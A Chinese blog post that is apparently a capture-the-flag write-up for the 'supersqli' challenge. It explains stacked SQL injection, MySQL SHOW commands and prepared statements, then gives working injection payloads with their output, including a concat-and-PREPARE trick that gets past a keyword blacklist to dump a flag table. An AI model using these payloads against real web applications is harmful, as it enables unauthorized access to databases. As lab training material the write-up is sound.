攻防世界supersqli题解

攻防世界supersqli题解

前置知识

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

show语句

--MySQL 常用show命令
a. show tables或show tables from database_name; -- 显示当前数据库中所有表的名称。
b. show databases; -- 显示mysql中所有数据库的名称。
c. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。
d. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。
e. show index from table_name; -- 显示表的索引。
f. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。
g. show variables; -- 显示系统变量的名称和值。
h. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。
i. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。
j. show privileges; -- 显示服务器所支持的不同权限。
k. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。
l. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。
m. show engies; -- 显示安装以后可用的存储引擎和默认引擎。
n. show innodb status; -- 显示innoDB存储引擎的状态。
o. show logs; -- 显示BDB存储引擎的日志。
p. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。
q. show errors; -- 只显示最后一个执行语句所产生的错误。
r. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。

--MySQL自带的mysqlshow命令--可以让我们在不连接到MySQL客户端的情况下查看MySQL的一些参数、数据库、表、列、索引等信息,其使用方法如下: 
1. mysqlshow -uroot -p    --查看都有哪些库
2. mysqlshow -uroot -p wyzc    --查看某个库里(wyzc)都有哪些表
3. mysqlshow -uroot -p -v wyzc    --加上-v参数后可以显示每张表有多少列
4. mysqlshow -uroot -p -v -v wyzc    --加2个-v参数,可以显示出每张表有多少行
5. mysqlshow -uroot -p wyzc City    --在库名(wyzc)后面加上表名(City),可以查看该表的详细信息。注:加上-i参数,可以查看该表的所有详细信息
6. mysqlshow -uroot -p wyzc City ID    --查看某张表的某一个列的信息
7. mysqlshow -uroot -p -k wyzc City    --加上-k参数查看该表的索引和列信息
8. mysqlshow -uroot -p -k wyzc City invalid_col_name    --只查看某表索引信息

预编译

预编译的语法

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

定义变量

SET @var_name = expr [, @var_name = expr] ...
也可使用select语句来定义:
SELECT @var_name := expr [, @var_name = expr] ...

处理

--定义查询集群信息的预编译
PREPARE s1 FROM 'select distinct(clusterName), Version, ts from m_fds_version order by ts desc limit ?';
--定义集群个数变量
select @limit_num:=count(distinct(clusterName)) from m_fds_version;
--执行预编译语句
EXECUTE s1 USING @limit_num;
--删除预编译
DROP PREPARE s1;

题目详解

进入题目发现网页以get的形式输入了一个inject的参数,尝试输入1'#,发现回显正常,尝试select
构造

inject=1'or select * from database#

回显

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现select被ban掉了,且无法通过大小写绕过,尝试堆叠注入。
构造

inject=1';show databases;

回显

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

构造

inject=1';show tables;

回显

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

构造(注意:字符串为表名操作时要加反引号

inject=1';show columns from `1919810931114514`;

回显

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

找到flag,最后要绕过select来输出表内的内容,可以采用预编译的方式。
构造

inject=1';set @sql=concat('sel', 'ect * from `1919810931114514`');PREPARE kb from @sql;EXECUTE kb;

回显

array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}

得到flag。

参考:
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://www.cnblogs.com/zhaoshujie/p/10422396.html
https://blog.csdn.net/weixin_35857225/article/details/113598435

posted @ 2022-01-06 20:07  king_kb  阅读(129)  评论(0编辑  收藏  举报